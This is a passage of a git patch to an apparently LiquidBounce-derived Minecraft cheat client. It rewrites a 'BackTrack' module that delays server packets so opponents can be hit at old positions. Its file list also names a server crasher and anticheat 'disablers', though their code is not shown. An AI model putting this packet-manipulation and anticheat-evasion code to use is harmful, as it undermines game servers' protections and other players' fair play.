From faede31ca336f63e0735c835198dff5858244473 Mon Sep 17 00:00:00 2001 From: XeContrast <1683481541@qq.com> Date: Sun, 10 Nov 2024 09:13:54 +0800 Subject: [PATCH] LiquidBounce BackTrack --- .../net/ccbluex/liquidbounce/FDPClient.kt | 1 + .../ccbluex/liquidbounce/event/Listenable.kt | 2 +- .../module/modules/client/FamousCheck.kt | 1 + .../module/modules/combat/BackTrack.kt | 1026 +++++++++-------- .../module/modules/combat/InfiniteAura.kt | 2 +- .../module/modules/combat/KillAura.kt | 83 +- .../module/modules/combat/Velocity.kt | 26 +- .../features/module/modules/exploit/Damage.kt | 36 +- .../module/modules/exploit/PingSpoof.kt | 4 +- .../module/modules/exploit/ServerCrasher.kt | 337 ++++-- .../disablers/matrix/MatrixDisabler.kt | 6 +- .../disablers/other/NoRotationDisabler.kt | 8 +- .../disablers/server/HeirteirACDisabler.kt | 5 +- .../spartan/SpartanCombatDisabler.kt | 4 +- .../disablers/verus/OldVerusCustomDisabler.kt | 19 +- .../disablers/verus/OldVerusDisabler.kt | 8 +- .../disablers/verus/VerusFixDisabler.kt | 10 +- .../disablers/verus/VerusReachDisabler.kt | 2 +- .../disablers/verus/VerusSemiDisabler.kt | 4 +- .../disablers/vulcan/VulcanCombatDisabler.kt | 2 +- .../disablers/vulcan/VulcanStrafeDisabler.kt | 9 +- .../module/modules/movement/BowJump.kt | 18 +- .../module/modules/movement/InvMove.kt | 8 +- .../module/modules/movement/NoSlow.kt | 51 +- .../module/modules/movement/TimeBalancer.kt | 140 +++ .../modules/movement/flys/buzz/BuzzFly.kt | 15 +- .../modules/movement/flys/ncp/BlockdropFly.kt | 10 +- .../modules/movement/flys/ncp/BlocksMCFly.kt | 10 +- .../modules/movement/flys/ncp/NCPSlimeFly.kt | 4 +- .../modules/movement/flys/other/GodseyeFly.kt | 9 +- .../movement/flys/verus/VerusBasicFly.kt | 5 +- .../movement/flys/verus/VerusBoostFly.kt | 19 +- .../movement/flys/vulcan/VulcanDamageFly.kt | 10 +- .../movement/flys/vulcan/VulcanGhostFly.kt | 10 +- .../longjumps/ncp/NCPDamageLongjump.kt | 4 +- .../longjumps/ncp/NCPLatestLongjump.kt | 8 +- .../longjumps/other/VerusDamageLongjump.kt | 12 +- .../longjumps/vulcan/VulcanLongjump.kt | 2 +- .../modules/movement/nowebs/other/GrimAC.kt | 3 +- .../movement/speeds/other/HypixelHopSpeed.kt | 2 +- .../module/modules/other/KeepContainer.kt | 2 +- .../module/modules/player/AntiSuffocate.kt | 2 +- .../player/nofalls/hypixel/HypSpoofNofall.kt | 2 +- .../features/module/modules/visual/FreeCam.kt | 6 +- .../features/module/modules/world/Fucker.kt | 5 +- .../module/modules/world/SpeedMine.kt | 7 +- .../liquidbounce/features/value/BlockValue.kt | 6 - .../liquidbounce/features/value/BoolValue.kt | 27 - .../liquidbounce/features/value/ColorValue.kt | 52 - .../liquidbounce/features/value/FloatValue.kt | 27 - .../liquidbounce/features/value/FontValue.kt | 63 - .../features/value/IntegerValue.kt | 31 - .../liquidbounce/features/value/ListValue.kt | 74 -- .../features/value/NumberValue.kt | 28 - .../liquidbounce/features/value/TextValue.kt | 23 - .../liquidbounce/features/value/Value.kt | 119 -- .../liquidbounce/features/value/Values.kt | 407 +++++++ .../forge/mixins/entity/MixinEntity.java | 75 ++ .../network/MixinNetHandlerPlayClient.java | 12 +- .../mixins/network/MixinNetworkManager.java | 70 +- .../mixins/render/MixinEntityRenderer.java | 6 + .../mixins/render/MixinRenderManager.java | 76 +- .../injection/implementations/IMixinEntity.kt | 3 + .../style/styles/Slight/RenderUtil.java | 10 - .../ccbluex/liquidbounce/utils/BlinkUtils.kt | 4 +- .../ccbluex/liquidbounce/utils/PacketUtils.kt | 245 ++-- .../ccbluex/liquidbounce/utils/PlayerUtils.kt | 3 + .../liquidbounce/utils/RaycastUtils.kt | 4 + .../liquidbounce/utils/render/RenderUtils.kt | 2 + 69 files changed, 1936 insertions(+), 1390 deletions(-) create mode 100644 src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/TimeBalancer.kt delete mode 100644 src/main/java/net/ccbluex/liquidbounce/features/value/BlockValue.kt delete mode 100644 src/main/java/net/ccbluex/liquidbounce/features/value/BoolValue.kt delete mode 100644 src/main/java/net/ccbluex/liquidbounce/features/value/ColorValue.kt delete mode 100644 src/main/java/net/ccbluex/liquidbounce/features/value/FloatValue.kt delete mode 100644 src/main/java/net/ccbluex/liquidbounce/features/value/FontValue.kt delete mode 100644 src/main/java/net/ccbluex/liquidbounce/features/value/IntegerValue.kt delete mode 100644 src/main/java/net/ccbluex/liquidbounce/features/value/ListValue.kt delete mode 100644 src/main/java/net/ccbluex/liquidbounce/features/value/NumberValue.kt delete mode 100644 src/main/java/net/ccbluex/liquidbounce/features/value/TextValue.kt delete mode 100644 src/main/java/net/ccbluex/liquidbounce/features/value/Value.kt create mode 100644 src/main/java/net/ccbluex/liquidbounce/features/value/Values.kt diff --git a/src/main/java/net/ccbluex/liquidbounce/FDPClient.kt b/src/main/java/net/ccbluex/liquidbounce/FDPClient.kt index a1f1667..d80bf32 100644 --- a/src/main/java/net/ccbluex/liquidbounce/FDPClient.kt +++ b/src/main/java/net/ccbluex/liquidbounce/FDPClient.kt @@ -139,6 +139,7 @@ object FDPClient { eventManager.registerListener(SessionUtils()) eventManager.registerListener(StatisticsUtils()) eventManager.registerListener(LocationCache()) + eventManager.registerListener(PacketUtils) eventManager.registerListener(macroManager) eventManager.registerListener(combatManager) diff --git a/src/main/java/net/ccbluex/liquidbounce/event/Listenable.kt b/src/main/java/net/ccbluex/liquidbounce/event/Listenable.kt index f66a85f..850e10e 100644 --- a/src/main/java/net/ccbluex/liquidbounce/event/Listenable.kt +++ b/src/main/java/net/ccbluex/liquidbounce/event/Listenable.kt @@ -8,7 +8,7 @@ package net.ccbluex.liquidbounce.event import java.lang.reflect.Method interface Listenable { - fun handleEvents(): Boolean + fun handleEvents() = true } @Target(AnnotationTarget.FUNCTION, AnnotationTarget.PROPERTY_GETTER, AnnotationTarget.PROPERTY_SETTER, diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/FamousCheck.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/FamousCheck.kt index c3e2151..b4daf03 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/FamousCheck.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/FamousCheck.kt @@ -46,6 +46,7 @@ class FamousCheck : Module() { HackerData("Yao_Mao"), HackerData("Bad_Smoke"), HackerData("tea_tea"), + HackerData("L1ne"), ) world.playerEntities.forEach { other -> diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/BackTrack.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/BackTrack.kt index d99105a..a15f665 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/BackTrack.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/BackTrack.kt @@ -1,599 +1,635 @@ -//from kevin client +/* + * LiquidBounce Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge. + * https://github.com/CCBlueX/LiquidBounce/ + */ package net.ccbluex.liquidbounce.features.module.modules.combat -import kevin.utils.expands -import kevin.utils.multiply +import kevin.utils.component1 +import kevin.utils.component2 +import kevin.utils.component3 +import kevin.utils.minus import net.ccbluex.liquidbounce.FDPClient import net.ccbluex.liquidbounce.event.* import net.ccbluex.liquidbounce.features.module.Module import net.ccbluex.liquidbounce.features.module.ModuleCategory import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.player.Blink import net.ccbluex.liquidbounce.features.value.BoolValue import net.ccbluex.liquidbounce.features.value.FloatValue import net.ccbluex.liquidbounce.features.value.IntegerValue import net.ccbluex.liquidbounce.features.value.ListValue -import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification -import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType -import net.ccbluex.liquidbounce.utils.EntityUtils -import net.ccbluex.liquidbounce.utils.EntityUtils.getLookDistanceToEntityBox -import net.ccbluex.liquidbounce.utils.PacketUtils -import net.ccbluex.liquidbounce.utils.PacketUtils.packets -import net.ccbluex.liquidbounce.utils.PlayerUtils.getLookingTargetRange -import net.ccbluex.liquidbounce.utils.PlayerUtils.getPing -import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.injection.implementations.IMixinEntity +import net.ccbluex.liquidbounce.utils.* +import net.ccbluex.liquidbounce.utils.EntityUtils.isSelected import net.ccbluex.liquidbounce.utils.extensions.* -import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.misc.StringUtils.contains +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.ccbluex.liquidbounce.utils.render.RenderUtils.drawBacktrackBox +import net.ccbluex.liquidbounce.utils.render.RenderUtils.glColor import net.ccbluex.liquidbounce.utils.timer.MSTimer -import net.minecraft.client.entity.EntityOtherPlayerMP -import net.minecraft.client.renderer.GlStateManager import net.minecraft.entity.Entity import net.minecraft.entity.EntityLivingBase import net.minecraft.entity.player.EntityPlayer import net.minecraft.network.Packet -import net.minecraft.network.ThreadQuickExitException -import net.minecraft.network.play.INetHandlerPlayClient -import net.minecraft.network.play.INetHandlerPlayServer -import net.minecraft.network.play.client.C02PacketUseEntity -import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.handshake.client.C00Handshake import net.minecraft.network.play.server.* +import net.minecraft.network.status.client.C00PacketServerQuery +import net.minecraft.network.status.server.S01PacketPong import net.minecraft.util.AxisAlignedBB import net.minecraft.util.Vec3 +import net.minecraft.world.WorldSettings import org.lwjgl.opengl.GL11.* import java.awt.Color import java.util.* -import kotlin.math.abs -import kotlin.math.ceil -import kotlin.math.max +import java.util.concurrent.ConcurrentHashMap +@ModuleInfo("BackTrack", category = ModuleCategory.COMBAT) +object Backtrack : Module() { -@ModuleInfo(name = "BackTrack", description = "Lets you attack people in their previous locations.", category = ModuleCategory.COMBAT) -class BackTrack : Module() { - - private val mode = ListValue("Mode", arrayOf("Legacy", "Smooth"), "Legacy") - private val minDistance: FloatValue = object : FloatValue("MinDistance", 2.9f, 1f, 4f) { - override fun onChanged(oldValue: Float, newValue: Float) { - if (newValue > maxStartDistance.get()) set(maxStartDistance.get()) - } - } - private val maxStartDistance : FloatValue = object : FloatValue("MaxStartDistance", 3.2f, 2f, 4f) { - override fun onChanged(oldValue: Float, newValue: Float) { - if (newValue < minDistance.get()) set(minDistance.get()) - else if (newValue > maxDistance.get()) set(maxDistance.get()) - } - } - private val maxDistance: FloatValue = object : FloatValue("MaxActiveDistance", 5f, 2f, 6f) { - override fun onChanged(oldValue: Float, newValue: Float) { - if (newValue < maxStartDistance.get()) set(maxStartDistance.get()) + private val nextBacktrackDelay = IntegerValue("NextBacktrackDelay", 0, 0,2000).displayable { mode.get() == "Modern" } + private val delay = object : IntegerValue("Delay", 80, 0,700) { + override fun onChange(oldValue: Int, newValue: Int) { + if (mode.get() == "Modern") { + clearPackets() + reset() + } } } - private val minTime : IntegerValue = object : IntegerValue("MinTime", 100, 0, 500) { - override fun onChanged(oldValue: Int, newValue: Int) { - if (newValue > maxTime.get()) set(maxTime.get()) + + val mode = object : ListValue("Mode", arrayOf("Legacy", "Modern"), "Modern") { + override fun onChanged(oldValue: String, newValue: String) { + clearPackets() + backtrackedPlayer.clear() } } - private val maxTime : IntegerValue = object : IntegerValue("MaxTime", 200, 0, 1000) { - override fun onChanged(oldValue: Int, newValue: Int) { - if (newValue < minTime.get()) set(minTime.get()) - } + + // Legacy + private val legacyPos = ListValue( + "Caching mode", + arrayOf("ClientPos", "ServerPos"), + "ClientPos" + ).displayable { mode.get() == "Legacy" } + + // Modern + private val style = ListValue("Style", arrayOf("Pulse", "Smooth"), "Smooth").displayable { mode.get() == "Modern" } + + private val maxDistanceValue: FloatValue = object : FloatValue("MaxDistance", 3.0f, 0.0f,3.5f) { } - private val smartPacket = BoolValue("Smart", true) - private val maxHurtTime = IntegerValue("MaxHurtTime", 6, 0, 10) - private val hurtTimeWithPing = BoolValue("CalculateHurtTimeWithPing", true) - private val minAttackReleaseRange = FloatValue("MinAttackReleaseRange", 3.2F, 2f, 6f) - - private val onlyKillAura = BoolValue("OnlyKillAura", true) - private val onlyPlayer = BoolValue("OnlyPlayer", true) - private val resetOnVelocity = BoolValue("ResetOnVelocity", true) - private val resetOnLagging = BoolValue("ResetOnLagging", true) - private val setPosOnStop = BoolValue("SetPositionOnStop", false) - private val rangeCheckMode = ListValue("RangeCheckMode", arrayOf("RayCast", "DirectDistance"), "DirectDistance") - - private val reverse = BoolValue("Reverse", false) - private val reverseRange : FloatValue = object : FloatValue("ReverseStartRange", 5f, 1f, 6f) { - override fun onChanged(oldValue: Float, newValue: Float) { - //newValue.coerceAtMost(reverseMaxRange.get()) - if (newValue > reverseMaxRange.get()) set(reverseMaxRange.get()) - } + private val maxDistance = maxDistanceValue + private val minDistance = object : FloatValue("MinDistance", 2.0f, 0.0f,3.0f) { } + private val smart = BoolValue("Smart", true).displayable { mode.get() == "Modern" } - private val reverseMaxRange : FloatValue = object : FloatValue("ReverseMaxRange", 6f, 1f, 6f) { - override fun onChanged(oldValue: Float, newValue: Float) { - //(newValue.coerceAtLeast(reverseRange.get())) - if (newValue < reverseRange.get()) set(reverseRange.get()) - } - } - private val reverseSelfMaxHurtTime = IntegerValue("ReverseSelfMaxHurtTime", 1, 0, 10) - private val reverseTargetMaxHurtTime = IntegerValue("ReverseTargetMaxHurtTime", 10, 0, 10) - private val maxReverseTime = IntegerValue("MaxReverseTime", 100, 1, 500) - - private val espMode = ListValue("ESPMode", arrayOf("FullBox", "OutlineBox", "NormalBox", "OtherOutlineBox", "OtherFullBox", "Model", "None"), "Box") - - private val espRed = IntegerValue("EspRed", 32, 0,255) - private val espGreen = IntegerValue("EspGreen", 255, 0,255) - private val espBlue = IntegerValue("EspBlue", 32, 0,255) - private val espAlpha = IntegerValue("EspAlpha", 35, 0,255) - private val outlineRed = IntegerValue("OutlineRed", 32, 0,255) - private val outlineGreen = IntegerValue("OutlineGreen", 200, 0,255) - private val outlineBlue = IntegerValue("OutlineBlue", 32, 0,255) - private val outlineAlpha = IntegerValue("OutlineAlpha", 255, 0,255) - private val alwaysRenderESP = BoolValue("AlwaysRenderESP", false) - - private val storagePackets = ArrayList() - private val storageSendPackets = ArrayList>() - private val storageEntities = ArrayList() - - private val storageEntityMove = LinkedList() - - private val killAura: KillAura? = FDPClient.moduleManager.getModule(KillAura::class.java) - // private var currentTarget : EntityLivingBase? = null - private var timer = MSTimer() - private val reverseTimer = MSTimer() - private var hasAttackInReversing = false - private var lastPosition = Vec3(0.0, 0.0, 0.0) - private var attacked : Entity? = null - - private var smoothPointer = System.nanoTime() - private var needFreeze = false - private var reversing = false - - // @EventTarget - // for safety, see in met.minecraft.network.NetworkManager + // ESP + val espMode = ListValue( + "ESP-Mode", + arrayOf("None", "Box", "Model"), + "Box", + ).displayable { mode.get() == "Modern" } + private val rainbow = BoolValue("Rainbow", true).displayable { mode.get() == "Modern" && espMode.get() == "Box" } + private val red = IntegerValue( + "R", + 0, + 0,255, + ).displayable { !rainbow.get() && mode.get() == "Modern" && espMode.get() == "Box" } + private val green = IntegerValue( + "G", + 255, + 0,255, + ).displayable { !rainbow.get() && mode.get() == "Modern" && espMode.get() == "Box" } + private val blue = IntegerValue( + "B", + 0, + 0,255, + ).displayable { !rainbow.get() && mode.get() == "Modern" && espMode.get() == "Box" } + + private val packetQueue = LinkedHashMap, Long>() + private val positions = mutableListOf>() + + var target: EntityLivingBase? = null + + private var globalTimer = MSTimer() + + var shouldRender = true + + private var ignoreWholeTick = false + + private var delayForNextBacktrack = 0L + + // Legacy + private val maximumCachedPositions = IntegerValue("MaxCachedPositions", 10, 1,20).displayable { mode.get() == "Legacy" } + + private val backtrackedPlayer = ConcurrentHashMap>() + + private val nonDelayedSoundSubstrings = arrayOf("game.player.hurt", "game.player.die") + + @EventTarget fun onPacket(event: PacketEvent) { - mc.thePlayer ?: return val packet = event.packet - val theWorld = mc.theWorld!! - if (packet.javaClass.name.contains("net.minecraft.network.play.server.", true)) { - val storage = ServerPacketStorage(packet as Packet) - if (packet is S14PacketEntity) { - val entity = packet.getEntity(theWorld)?: return - if (entity !is EntityLivingBase) return - if (onlyPlayer.get() && entity !is EntityPlayer) return - entity.serverPosX += packet.func_149062_c().toInt() - entity.serverPosY += packet.func_149061_d().toInt() - entity.serverPosZ += packet.func_149064_e().toInt() - val x = entity.serverPosX.toDouble() / 32.0 - val y = entity.serverPosY.toDouble() / 32.0 - val z = entity.serverPosZ.toDouble() / 32.0 - if ((!onlyKillAura.get() || killAura!!.state || needFreeze) && EntityUtils.isSelected(entity, true)) { - val afterBB = AxisAlignedBB(x - 0.4F, y - 0.1F, z - 0.4F, x + 0.4F, y + 1.9F, z + 0.4F) - var afterRange: Double - var beforeRange: Double - if (rangeCheckMode .get() == "RayCast") { - afterRange = afterBB.getLookingTargetRange(mc.thePlayer!!) - beforeRange = mc.thePlayer.getLookDistanceToEntityBox(entity) - if (afterRange == Double.MAX_VALUE) { - val eyes = mc.thePlayer!!.getPositionEyes(1F) - afterRange = getNearestPointBB(eyes, afterBB).distanceTo(eyes) + 0.075 - } - if (beforeRange == Double.MAX_VALUE) beforeRange = mc.thePlayer!!.getDistanceToEntityBox(entity) + 0.075 - } else { - val eyes = mc.thePlayer!!.getPositionEyes(1F) - afterRange = getNearestPointBB(eyes, afterBB).distanceTo(eyes) - beforeRange = mc.thePlayer!!.getDistanceToEntityBox(entity) + + if (FDPClient.moduleManager[Blink::class.java]!!.state) + return + + if (event.isCancelled) + return + + when (mode.get().lowercase()) { + "legacy" -> { + when (packet) { + // Check if packet is a spawn player packet + is S0CPacketSpawnPlayer -> { + // Insert first backtrack data + addBacktrackData( + packet.player, + packet.realX, + packet.realY, + packet.realZ, + System.currentTimeMillis() + ) } - if (beforeRange <= maxStartDistance.get()) { - if (afterRange in minDistance.get()..maxDistance.get() && (!smartPacket.get() || afterRange > beforeRange + 0.02) && entity.hurtTime <= calculatedMaxHurtTime) { - if (!needFreeze) { - timer.reset() - needFreeze = true - smoothPointer = System.nanoTime() - stopReverse() + is S14PacketEntity -> { + if (legacyPos.get() == "ServerPos") { + val entity = mc.theWorld?.getEntityByID(packet.entityId) + val entityMixin = entity as? IMixinEntity + if (entityMixin != null) { + addBacktrackData( + entity.uniqueID, + entityMixin.trueX, + entityMixin.trueY, + entityMixin.trueZ, + System.currentTimeMillis() + ) } - if (!storageEntities.contains(entity)) storageEntities.add(entity) - event.cancelEvent() - if (mode.get() == "Smooth") { - storageEntityMove.add(EntityPacketLoc(entity, x, y, z)) - } - return } - } else { - if (smartPacket.get()) { - if (afterRange < beforeRange) { - if (needFreeze) releasePackets() + } + + is S18PacketEntityTeleport -> { + if (legacyPos.get() == "ServerPos") { + val entity = mc.theWorld?.getEntityByID(packet.entityId) + val entityMixin = entity as? IMixinEntity + if (entityMixin != null) { + addBacktrackData( + entity.uniqueID, + entityMixin.trueX, + entityMixin.trueY, + entityMixin.trueZ, + System.currentTimeMillis() + ) } } } } - if (needFreeze) { - if (!storageEntities.contains(entity)) storageEntities.add(entity) - if (mode.get() == "Smooth") { - storageEntityMove.add(EntityPacketLoc(entity, x, y, z)) - } - event.cancelEvent() - return - } - if (!event.isCancelled && !needFreeze) { - FDPClient.eventManager.callEvent(EntityMovementEvent(entity)) - val f = if (packet.func_149060_h()) (packet.func_149066_f() * 360).toFloat() / 256.0f else entity.rotationYaw - val f1 = if (packet.func_149060_h()) (packet.func_149063_g() * 360).toFloat() / 256.0f else entity.rotationPitch - entity.setPositionAndRotation2(x, y, z, f, f1, 3, false) - entity.onGround = packet.onGround - } - event.cancelEvent() - // storageEntities.add(entity) - } else if (packet is S18PacketEntityTeleport) { - val entity = theWorld.getEntityByID(packet.entityId) - if (entity !is EntityLivingBase) return - if (onlyPlayer.get() && entity !is EntityPlayer) return - entity.serverPosX = packet.x - entity.serverPosY = packet.y - entity.serverPosZ = packet.z - val d0 = entity.serverPosX.toDouble() / 32.0 - val d1 = entity.serverPosY.toDouble() / 32.0 - val d2 = entity.serverPosZ.toDouble() / 32.0 - val f: Float = (packet.yaw * 360).toFloat() / 256.0f - val f1: Float = (packet.pitch * 360).toFloat() / 256.0f - if (!needFreeze) { - if (!(abs(entity.posX - d0) >= 0.03125) && !(abs(entity.posY - d1) >= 0.015625) && !(abs(entity.posZ - d2) >= 0.03125)) { - entity.setPositionAndRotation2(entity.posX, entity.posY, entity.posZ, f, f1, 3, true) - } else { - entity.setPositionAndRotation2(d0, d1, d2, f, f1, 3, true) - } - entity.onGround = packet.onGround - } else storageEntityMove.add(EntityPacketLoc(entity, d0, d1, d2)) - event.cancelEvent() - } else { - if ((packet is S12PacketEntityVelocity && resetOnVelocity.get()) || (packet is S08PacketPlayerPosLook && resetOnLagging.get())) { - storagePackets.add(storage) - event.cancelEvent() - releasePackets() + } + + "modern" -> { + // Prevent cancelling packets when not needed + if (packetQueue.isEmpty() && PacketUtils.queuedPackets.isEmpty() && !shouldBacktrack()) return - } - if (needFreeze && !event.isCancelled) { - if (packet is S19PacketEntityStatus) { - if (packet.opCode == 2.toByte()) return + + when (packet) { + // Ignore server related packets + is C00Handshake, is C00PacketServerQuery, is S02PacketChat, is S01PacketPong -> + return + + // Flush on teleport or disconnect + is S08PacketPlayerPosLook, is S40PacketDisconnect -> { + clearPackets() + return } - storagePackets.add(storage) - event.cancelEvent() - } - } - } else { - if (reversing) { - event.cancelEvent() - storageSendPackets.add(packet as Packet) - if (reverseTimer.hasTimePassed(maxReverseTime.get().toLong())) { - stopReverse() - } - } - if (packet is C02PacketUseEntity) { - if (packet.action == C02PacketUseEntity.Action.ATTACK) { - if (needFreeze) attacked = packet.getEntityFromWorld(theWorld) - if (reversing) hasAttackInReversing = true - } - } else if (packet is C03PacketPlayer) { - if (!needFreeze && reverse.get()) { - val vec = Vec3(packet.x, packet.y, packet.z) - FDPClient.combatManager.target?.let { - val loc = Vec3(it.posX, it.posY + it.eyeHeight, it.posZ) - val bp = getNearestPointBB(loc, mc.thePlayer.entityBoundingBox.expand(0.1, 0.1, 0.1)) - val distance = loc.distanceTo(bp) - if (reversing) { - val lastBB = AxisAlignedBB( - lastPosition.xCoord - 0.4f, - lastPosition.yCoord - 0.1f, - lastPosition.zCoord - 0.4f, - lastPosition.xCoord + 0.4f, - lastPosition.yCoord + 1.9f, - lastPosition.zCoord + 0.4f - ) - val d = getNearestPointBB(loc, lastBB).distanceTo(loc) - if (distance > d || distance > reverseMaxRange.get() || (it.hurtTime <= (1 + (mc.thePlayer.getPing() / 50.0).toInt()) && hasAttackInReversing)) { - stopReverse() - } else { - val rot = (if (it is EntityOtherPlayerMP) Rotation(it.otherPlayerMPYaw.toFloat(), it.otherPlayerMPPitch.toFloat()) else Rotation(it.rotationYaw, it.rotationPitch)).toDirection().multiply(4.0).add(loc) - val movingObjectPosition = lastBB.calculateIntercept(loc, rot) ?: return@let - val m2 = mc.thePlayer.entityBoundingBox.expand(0.11, 0.1, 0.11).calculateIntercept(loc, rot) - if (movingObjectPosition.hitVec != null) { - val d2 = movingObjectPosition.hitVec.distanceTo(loc) - if (d2 <= 3.0 && (m2?.hitVec == null || m2.hitVec.distanceTo(loc) > d2)) stopReverse() + + is S29PacketSoundEffect -> + if (nonDelayedSoundSubstrings in packet.soundName) + return + + // Flush on own death + is S06PacketUpdateHealth -> + if (packet.health <= 0) { + clearPackets() + return + } + + is S13PacketDestroyEntities -> + if (target != null && target!!.entityId in packet.entityIDs) { + clearPackets() + reset() + return + } + + is S1CPacketEntityMetadata -> + if (target?.entityId == packet.entityId) { + val metadata = packet.func_149376_c() ?: return + + metadata.forEach { + if (it.dataValueId == 6) { + val objectValue = it.getObject().toString().toDoubleOrNull() + if (objectValue != null && !objectValue.isNaN() && objectValue <= 0.0) { + clearPackets() + reset() + return + } } } - } else if (distance <= reverseRange.get() && - it.hurtTime <= reverseTargetMaxHurtTime.get() && mc.thePlayer.hurtTime <= reverseSelfMaxHurtTime.get() && - loc.distanceTo(bp) >= distance && (!onlyKillAura.get() || killAura!!.state)) { - reversing = true - lastPosition = vec - hasAttackInReversing = false - reverseTimer.reset() + + return } + + is S19PacketEntityStatus -> + if (packet.entityId == target?.entityId) + return + } + + // Cancel every received packet to avoid possible server synchronization issues from random causes. + if (event.eventType == EventState.RECEIVE) { + when (packet) { + is S14PacketEntity -> + if (packet.entityId == target?.entityId) + (target as? IMixinEntity)?.run { + synchronized(positions) { + positions += Pair(Vec3(trueX, trueY, trueZ), System.currentTimeMillis()) + } + } + + is S18PacketEntityTeleport -> + if (packet.entityId == target?.entityId) + (target as? IMixinEntity)?.run { + synchronized(positions) { + positions += Pair(Vec3(trueX, trueY, trueZ), System.currentTimeMillis()) + } + } + } + + event.cancelEvent() + synchronized(packetQueue) { + packetQueue[packet] = System.currentTimeMillis() } } } } } - @EventTarget fun onMotion(event: MotionEvent) { - if (event.eventState == EventState.PRE) return - if (needFreeze) { - if (mode.get() == "Legacy") { - if (timer.hasTimePassed(maxTime.get().toLong())) { - releasePackets() - return - } - } else { - doSmoothRelease() + @EventTarget + fun onGameLoop(event: GameLoopEvent) { + if (mode.get() == "Legacy") { + backtrackedPlayer.forEach { (key, backtrackData) -> + // Remove old data + backtrackData.removeAll { it.time + delay.get() < System.currentTimeMillis() } + + // Remove player if there is no data left. This prevents memory leaks. + if (backtrackData.isEmpty()) + removeBacktrackData(key) } - if (storageEntities.isNotEmpty()) { - var release = false // for-each - for (entity in storageEntities) { - val x = entity.serverPosX.toDouble() / 32.0 - val y = entity.serverPosY.toDouble() / 32.0 - val z = entity.serverPosZ.toDouble() / 32.0 - val entityBB = AxisAlignedBB(x - 0.4F, y -0.1F, z - 0.4F, x + 0.4F, y + 1.9F, z + 0.4F) - var range = entityBB.getLookingTargetRange(mc.thePlayer!!) - if (range == Double.MAX_VALUE) { - val eyes = mc.thePlayer!!.getPositionEyes(1F) - range = getNearestPointBB(eyes, entityBB).distanceTo(eyes) + 0.075 - } - if (range <= minDistance.get()) { - release = true - break - } - val entity1 = attacked - if (entity1 != entity) continue - if (timer.hasTimePassed(minTime.get().toLong())) { - if (range >= minAttackReleaseRange.get()) { - release = true - break - } + } + + val target = target + val targetMixin = target as? IMixinEntity + if (mode.get() == "Modern") { + if (targetMixin != null) { + if (!FDPClient.moduleManager[Blink::class.java]!!.state && shouldBacktrack() && targetMixin.truePos) { + val trueDist = mc.thePlayer.getDistance(targetMixin.trueX, targetMixin.trueY, targetMixin.trueZ) + val dist = mc.thePlayer.getDistance(target.posX, target.posY, target.posZ) + + if (trueDist <= 6f && (!smart.get() || trueDist >= dist) && (style.get() == "Smooth" || !globalTimer.hasTimePassed( + delay.get().toLong() + )) + ) { + shouldRender = true + + if (mc.thePlayer.getDistanceToEntityBox(target) in minDistance.get()..maxDistance.get()) + handlePackets() + else + handlePacketsRange() + } else { + clearPackets() + globalTimer.reset() } } - if (release) releasePackets() + } else { + clearPackets() + globalTimer.reset() } } - } - @EventTarget fun onWorld(event: WorldEvent) { - attacked = null - storageEntities.clear() - if (event.worldClient == null) storagePackets.clear() + ignoreWholeTick = false } - @EventTarget fun onRender3D(event: Render3DEvent) { - if (reversing) { - val renderManager = mc.renderManager + @EventTarget + fun onAttack(event: AttackEvent) { + if (!isSelected(event.targetEntity, true)) + return - val vec = lastPosition.addVector(-renderManager.renderPosX, -renderManager.renderPosY, -renderManager.renderPosZ) - RenderUtils.drawAxisAlignedBB(AxisAlignedBB(vec.xCoord - 0.4, vec.yCoord + 0.2, vec.zCoord - 0.4, vec.xCoord + 0.4, vec.yCoord, vec.zCoord + 0.4), Color(37, 126, 255, 70)) + // Clear all packets, start again on enemy change + if (target != event.targetEntity) { + clearPackets() + reset() } - if (espMode .get() == "None" || !needFreeze) return - - val entitiesToRender = if (alwaysRenderESP.get()) mc.theWorld.loadedEntityList else storageEntities - if (espMode .get() == "Model") { - glPushMatrix() - glEnable(GL_TEXTURE_2D) - for (entity in entitiesToRender) { - if (entity !is EntityOtherPlayerMP) return - val mp = EntityOtherPlayerMP(mc.theWorld, entity.gameProfile) - mp.posX = entity.serverPosX / 32.0 - mp.posY = entity.serverPosY / 32.0 - mp.posZ = entity.serverPosZ / 32.0 - mp.prevPosX = mp.posX - mp.prevPosY = mp.posY - mp.prevPosZ = mp.posZ - mp.lastTickPosX = mp.posX - mp.lastTickPosY = mp.posY - mp.lastTickPosZ = mp.posZ - mp.rotationYaw = entity.rotationYaw - mp.rotationPitch = entity.rotationPitch - mp.rotationYawHead = entity.rotationYawHead - mp.prevRotationYaw = mp.rotationYaw - mp.prevRotationPitch = mp.rotationPitch - mp.prevRotationYawHead = mp.rotationYawHead - mp.isInvisible = false - mp.swingProgress = entity.swingProgress - mp.swingProgressInt = entity.swingProgressInt - mp.hurtTime = entity.hurtTime - mp.hurtResistantTime = entity.hurtResistantTime - mc.renderManager.renderEntitySimple(mp, event.partialTicks) - } - glDisable(GL_TEXTURE_2D) - GlStateManager.resetColor() - glMatrixMode(GL_MODELVIEW) - glPopMatrix() - return + if (event.targetEntity is EntityLivingBase) { + target = event.targetEntity } + } - var outline = false - var filled = false - var other = false - when (espMode.get()) { - "NormalBox" -> { - outline = true - filled = true - } - "FullBox" -> { - filled = true - } - "OtherOutlineBox" -> { - other = true - outline = true - } - "OtherFullBox" -> { - other = true - filled = true + @EventTarget + fun onRender3D(event: Render3DEvent) { + when 